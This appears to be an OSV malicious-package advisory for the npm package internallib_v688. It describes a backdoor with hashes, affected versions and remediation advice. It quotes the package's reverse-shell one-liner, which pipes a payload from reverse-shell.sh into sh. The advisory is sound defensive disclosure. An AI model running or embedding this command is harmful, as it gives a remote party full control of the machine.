MAL-2026-11517

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v688/MAL-2026-11517.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11517
Aliases
  • GHSA-jvmj-rg3h-c654
Published
2026-08-04T03:57:27Z
Modified
2026-08-05T06:36:16.994901391Z
Summary
Malicious code in internallib_v688 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811)

The package's main module exports a command() function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a reverse-shell payload from reverse-shell.sh and piping it into sh. Invoking the exported function establishes an outbound interactive shell from the installer's host to 10.0.64.141:443, giving a remote party full command execution on the machine that loads and calls this library. The package's advertised purpose does not require shell execution or outbound connections; the hardcoded internal-range IP and reverse-shell.sh payload generator are characteristic of a backdoor/RCE implant rather than legitimate functionality.

Source: ghsa-malware (24366cd8d9efeba97d11b7059bf78a4aa103535133170742963ed6b57e4609b0)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-04T07:34:35.037705657Z",
            "modified_time": "2026-08-04T03:57:28Z",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "id": "GHSA-jvmj-rg3h-c654",
            "sha256": "24366cd8d9efeba97d11b7059bf78a4aa103535133170742963ed6b57e4609b0",
            "source": "ghsa-malware"
        },
        {
            "source": "amazon-inspector",
            "modified_time": "2026-08-04T21:28:03Z",
            "sha256": "161660f8db18308a3024f6ab636b21fccbb248da6b0ee179d9f49d7324907046",
            "id": "IN-MAL-2026-011069",
            "versions": [
                "1.0.3"
            ],
            "import_time": "2026-08-04T21:33:15.760577806Z"
        },
        {
            "import_time": "2026-08-04T21:33:15.254225976Z",
            "sha256": "f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811",
            "modified_time": "2026-08-04T21:26:01Z",
            "id": "IN-MAL-2026-011055",
            "versions": [
                "1.0.2"
            ],
            "source": "amazon-inspector"
        },
        {
            "import_time": "2026-08-05T06:01:00.2949355Z",
            "sha256": "d96503fafbb045ce40ad22021f4d8aa865b7f8bc187b4fdda5351e08e0ce4e9c",
            "modified_time": "2026-08-05T05:58:51Z",
            "id": "IN-MAL-2026-013270",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / internallib_v688

Package

Name
internallib_v688
View open source insights on deps.dev
Purl
pkg:npm/internallib_v688

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.1
1.0.2
1.0.3

Database specific

cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "cc6c8f9a7f71fca6f86fb2767d3934ca77d0b8dfc953d95863a4662984a291b9",
            "tlsh": "4ad0a7a619d49a65a30161e0e917e4a778574c24257850e1d1508196158249c620b0be"
        },
        {
            "path": "package.json",
            "sha256": "4f1e89ab404422123afce9104ae190d9768013f865e656d7b50c0d8831e57747",
            "tlsh": "97d02e2009225c3321c5036e2c69901372608e2f1046bc0853df292c40cf2f3a8fd30c"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v688/MAL-2026-11517.json"